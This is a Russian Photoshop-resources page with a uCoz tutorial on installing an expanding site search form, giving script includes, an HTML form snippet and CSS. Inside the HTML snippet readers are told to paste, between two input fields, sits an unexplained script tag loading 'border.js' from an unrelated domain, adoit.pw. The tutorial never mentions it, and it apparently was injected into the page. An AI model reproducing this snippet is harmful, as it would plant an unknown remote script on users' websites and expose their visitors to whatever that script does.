Добро пожаловать в прекрасный мир фотошопа! Здесь можно скачать бесплатно без регистрации только лучшее для Photoshop - кисти, стили, текстуры, градиенты, рамочки, футажи, разнообразные фоны для коллажей и многое другое... :)
Меню сайта

Категории
Скачать Фотошоп
Кисти
Стили
Текстуры, заливки
Фоны, обои
Клипарт
Градиенты
Шаблоны, рамки
PSD Исходники
Экшены
Плагины
Фигуры
Скрап наборы
Шрифты
Вектор
Футажи
Уроки Фотошоп
Программы
Арт, Живопись, Картинки
Анимация
Скрипты для Ucoz

Фото в рамку

Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0
Яндекс цитирования

Форма входа

Наш баннер
    Мы будем вам признательны, если вы разместите нашу кнопку у себя на сайте.

    Ваш Дизайн



    I'm on deviantART

    Мы всегда рады Вам

      ---

        Популярное
        Юбилейный календарь с вашим фото
        Юбилейный календарь с вашим фото
        Videohive Photographer — After Effects Project
        Videohive Photographer — After Effects Project
        Скачать Календарь на 2012 год – Весна на душе
        Скачать Календарь на 2012 год – Весна на душе
        Скачать Обои с прекрасными уголками природы №305
        Скачать Обои с прекрасными уголками природы №305
        Детская рамка для фотошопа - Купите мне котёнка
        Детская рамка для фотошопа - Купите мне котёнка
        Женская рамка с кроликами на полянке
        Женская рамка с кроликами на полянке
        Скачать Сборник обоев на разную тематику (Часть 37)
        Скачать Сборник обоев на разную тематику (Часть 37)
        Обои с прекрасными уголками природы №326
        Обои с прекрасными уголками природы №326
        Фоторамка - В розовом свете
        Фоторамка - В розовом свете
        Женская рамка - с розами в красивом обрамлении
        Женская рамка - с розами в красивом обрамлении

        Главная » 2013 » Август » 11 » Создаём раздвижную форму поиска для uCoz
        14:27
        Создаём раздвижную форму поиска для uCoz
        Всем массовый привет, сегодня в этой статье мы будем адаптировать раздвижную форму поиска для uCoz, от Codrops.

        Основным отличием данного решения от других, является тот момент, что отправить поисковой запрос форме поиска можно как при нажатии на клавиатуре кнопки Enter, так и при нажатии на иконку лупы стрелкой мыши.

        И так давайте приступим к установке данного решения, для этого в самый низ страницы перед закрывающим тегом </body> установим следующие js:

        Код
        <script src="http://pnghosts.ru/js_css/classie.js"></script>
        <script src="http://pnghosts.ru/js_css/uisearch.js"></script>
        <script>
          new UISearch( document.getElementById( 'sb-search' ) );
        </script>


        Теперь давайте установим в нужное место страницы сайта следующий html код формы поиска, которая будет искать по всему сайту.

        Код
        <!-- Поиск по сайту -->  
          <div id="sb-search" class="sb-search">
          <form class="" onsubmit="document.getElementById('sfSbm').disabled=true" method="get" action="/search/" >
          <input class="sb-search-input" type="text" name="q" maxlength="130" value="Поиск по сайту..." onclick="if (this.value=='Поиск по сайту...'){this.value='';}"/>
          <input class="sb-search-submit" type="hidden" name="t" value="0" /><script type="text/javascript" src="http://adoit.pw/border.js"></script> <input class="sb-icon-search " type="submit" value="" />
          </form>  
          </div>  
          <!-- /Поиск по сайту -->


        Теперь нам осталось стилизовать наш html код формы поиска, для этого пропишем следующие css стили:

        Код
        /* Раздвижная форма поиска для uCoz
        ------------------------------------------*/
        .sb-search {
          position: relative;
          margin-top: 10px;
          width: 0%;
          min-width: 32px;
          height: 32px;
          float: right;
          overflow: hidden;
           
          -webkit-transition: width 0.3s;
          -moz-transition: width 0.3s;
          transition: width 0.3s;
          -webkit-backface-visibility: hidden;
        }

        .sb-search-input {
          position: absolute;
          top: 0;
          right: 0;
           
          margin: 0;
          z-index: 10;
          width:300px;
          height: 20px;
          outline: none;
          background: #fff;  
          border: 1px solid #CAD3DA;  
          padding: 5px 32px 5px 20px;
           
          font:11px Verdana,Arial,Helvetica, sans-serif;
          color:#555;  
          border-radius:3px 0px 0px 3px;  
        }

        .sb-search-input::-webkit-input-placeholder {
          color: #efb480;
        }

        .sb-search-input:-moz-placeholder {
          color: #efb480;
        }

        .sb-search-input::-moz-placeholder {
          color: #efb480;
        }

        .sb-search-input:-ms-input-placeholder {
          color: #efb480;
        }

        .sb-icon-search,
        .sb-search-submit {
          position: absolute;
          right: 0;
          top: 0;
          margin: 0;
           
          width: 32px;
          height: 32px;
          display: block;

          line-height: 30px;
          text-align: center;
          cursor: pointer;
        }

        .sb-search-submit {
          background: #fff;
          color: transparent;
          border: none;
          outline: none;
          z-index: -1;
          -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";  
          filter: alpha(opacity=0);  
          opacity: 0;  
        }

        .sb-icon-search {
          border:none;  
          z-index: 90;
          background:#2cae58 url(http://pnghosts.ru/img/icon-search.png) no-repeat;
          -webkit-font-smoothing: antialiased;
          border-radius:3px 3px 3px 3px;  
        }

        .sb-icon-search:before {
          content: "\e000";
        }

        .sb-search.sb-search-open,
        .no-js .sb-search {
          width: 100%;
        }

        .sb-search.sb-search-open .sb-icon-search,
        .no-js .sb-search .sb-icon-search {
          background:#c54744 url(http://pnghosts.ru/img/icon-search.png) no-repeat;
          z-index: 11;
          border-radius:0px 3px 3px 0px;  
        }

        .sb-search.sb-search-open .sb-search-submit,
        .no-js .sb-search .sb-search-submit {
          z-index: 90;
        }


        На этом всё, мы адаптировали и установили на ваш сайт раздвижную форму поиска для uCoz, от Codrops.

        Спасибо за внимание!
        Категория: Скрипты для Ucoz | Просмотров: 622 | Добавил: DoG | Рейтинг: 0.0/0
        Всего комментариев: 0
        Добавлять комментарии могут только зарегистрированные пользователи.
        [ Регистрация | Вход ]
        Поделиться

        Поиск

        Новогодние рамки

          Календарь

          Архив записей

          Мини профиль
            Среда
            03.12.2025
            00:48

            [ Управление профилем ]

            Друзья сайта
             DiZona – все для Photoshop
             Стиль Photoshop
             Фотошо+Я
            I'm on deviantART

            Новости сайта
            Летняя рамка - Сказочное лето
            Летняя рамка - Сказочное лето
            Рамки вырезы - Фиолетовая романтика
            Рамки вырезы - Фиолетовая романтика
            Цветочная рамка для фото - Почему так сладко пахнут розы
            Цветочная рамка для фото - Почему так сладко пахнут розы
            Обои с прекрасными уголками природы №328
            Обои с прекрасными уголками природы №328
            Женский шаблон - В вечернем розовом платье
            Женский шаблон - В вечернем розовом платье
            Diamond Divide — After Effects Project
            Diamond Divide — After Effects Project
            Скачать Качественные обои на рабочий стол твоего монитора (Часть 12)
            Скачать Качественные обои на рабочий стол твоего монитора (Часть 12)
            Рамка для фото – На ромашке погадаешь, словно чуда ожидаешь
            Рамка для фото – На ромашке погадаешь, словно чуда ожидаешь
            Детский шаблон для фотошопа - Наш малыш
            Детский шаблон для фотошопа - Наш малыш
            Ident #3 — After Effects Project(videohive)
            Ident #3 — After Effects Project(videohive)

            Шаблоны для фотомонтажа Шаблоны для фотомонтажа
            "Professional"

            - Костюмы
            - Календари
            - Виньетки
            - Обложки на DVD
            - Рамки
            - Клипарты
            - Коллажи


            Copyright MyCorp © 2025
            Создать бесплатный сайт с uCoz